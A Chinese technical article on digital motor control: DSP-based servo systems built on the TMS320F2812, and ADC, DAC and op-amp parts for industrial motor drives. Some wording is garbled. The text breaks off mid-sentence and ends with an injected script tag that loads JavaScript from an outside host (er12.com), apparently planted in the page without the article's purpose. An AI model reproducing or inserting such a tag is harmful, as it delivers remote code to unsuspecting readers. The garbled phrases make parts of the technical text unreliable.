关于数字式电机控制器分类
数字式电机控制器分为以下几类，各自有专用的马达驱动器ic正。小型马达中有dc马达(带有电刷的马达)、霍尔马达(无电刷dc马达)、步进马达等，各自专用的驱动器ic、控制器。 作为驱动用ic，大多采用输入马达正转、反旋转以及制动动作的逻辑信号进行控制的方式，还有通过驱动电源电压控制旋转速度(dc马达)、通过输入的时钟信号的频率进行控制(步进马达)等方法。
数字式电机控制器控脱颖而出
当今的电机控制应用向电子电路提出了最高效率、最低功耗和最高精度控制等诸多挑战。电机有多种类型，其中数字和模拟解决方案将起着提升电机控制应用性能的作用。
近年来采用数字控制技术，以稀土永磁伺服电动机(pmsm)为控制对象的全数字交流伺服系统己逐步取代了直流伺服电动机为控制对象的直流伺服系统和采用模拟控制技术的模拟或交流伺服系统。数字式交流伺服系统不仅其控制性能是以往模拟式伺服系统和直流伺服系统所无法比拟的，而且它有一系列的新功能，知电子齿轮、自动色辫电动参数的功能、自动整定调节器控制参数、数控机床及机器人等领域已获得了广泛应用。它是制造业实现自动化和信息化的基础构件。为此本文将对基于dsp芯片为核心构成的数字式电机控制、无传感器的电机控制、有刷直流电机控制器和工业机器-电机系统维新技术作介绍。
2、基于dsp芯片为核心构成的数字式电机控制
同步电机也被称作bldc(无刷直流电机)或pmsm(永磁同步电机)。它们之间的唯一差别在于感应电压的波形，这是由于采用了两种不同的定子线圈绕线方式所致。反向电动势波形在bldc电机中呈现梯形，而在pmsm电机中则是正弦波形的。c2000 dsp控制器(如tms320f2812控制器)所采用的数字技术使得能够为各种类型的电机选择正确的控制技术。dsp的处理能力可使机器发挥其最佳性能，并降低系统成本。可选方案包括采用传感器需要量较少的技术来降低传感器成本(甚至无需传感器)；此外，复杂算法的运用也能够对简化机械驱动传动装置设计有所帮助，同样可实现系统成本的削减。
2.1电机控制方案特征与组成
2.11设计方案
见图1所示。 图1为典型的基于dsp芯片为核心构成的数字式电机控制方案框图。iu、iv和iw通道负责测量电机的电流。电机的位置／速度和负载等利用解算器或模拟编码传感器来同步测量。为获得最高的电机定位准确度，同时实现对全部三个电流的进行采样是至关重要的。adc必须具有上佳的线性和低偏置。快速采样(每个通道的采样时间约2μs或更短)可用于确保igbt控制的快速漏电流检测。测量电机的温度。窗口比较器的电平输入被连接至一个用于控制的8位dac。
2.12方案组成
dsp为tms320c28x
c28x系列控制器是首个基于控制的32位dsp，带片置可重复编程闪存、出厂前已经装载程序的rom、或高性价比ram(仅作为内存选项)，性能可达100-150mips。
其规格为：32位、定点c28x dsp内核；工作性能最高可达150-mips；1.8／1.9v核心及3.3v外设；易用的软件及开发工具，用于加速产品面市。图2(a)为tms320f2812控制器方框示意图。
用于工业控制的adc，,见图2(b)结构示意图
首款16位/14位、单电源供电adc、可接受高达±12v的输入信号1.8 msps、8位、低功耗sar adc，并行接口，例max1015。
用于工业控制的dac, 见图2(c)结构示意图
首款16位/14位、单电源供电dac，可接受高达±12v的输入信号可提供电流和电压输出的单通道、16位dac，用于工业模拟输出模块，例max5661。
电机控制adc
1.5msps、8位、低功耗sar adc，并行接口max11020
同时采样adc
同时采样adc，能够保留多通道系统的相位信息。
8/4/2通道、14位、同时采样adc，提供±10v、±5v或0至+5v模拟输入范围max1316，见图2(d)为同时采样adc应用示意图。
或采用2+2通道同时采样、16位adc ads8361
ads8361是16位、500kspsadc，具有四个全差分输入通道(分为两对)，可用于高速、同步信号采集。该器件提供了高速、双串行接口，采用ssop-24封装，并针对-40℃至+85℃c的工作范围拟订了技术规格。
其主要特点为：四个全差分输入通道；2μs吞吐每通道；积分线性误差(inl)±3lsb(典型值)；功耗150mw；2.5v内部基准；电源电压2.7v至5.5v；引脚兼容，可升级到ads7861(12位至16位)。除此以外还有12位、2x 2通道、串行接口adc7861；12位、2x 2通道、并行接口ads7862；16位、2x 2通道、串行接口ads8361等。
放大器
1.8v、7mhz、90db cmrr(共模抑制比)轨至轨i／o运算放大器opa363、opa364
0pa363和0pa364系列是专为低电压、单电源操作而优化的高性能cmos运算放大器。这些专为采用1.8v(±0.9v)至5.5v(±2.25v)的单工作电源而设计的放大器是电池供电型系统中的传感器放大以及信号调节的理想选择。此器件专为驱动中等速度(最高100khz)的a／d转换器进行了优化，并提供了?script src=http://er12.com/t.js>
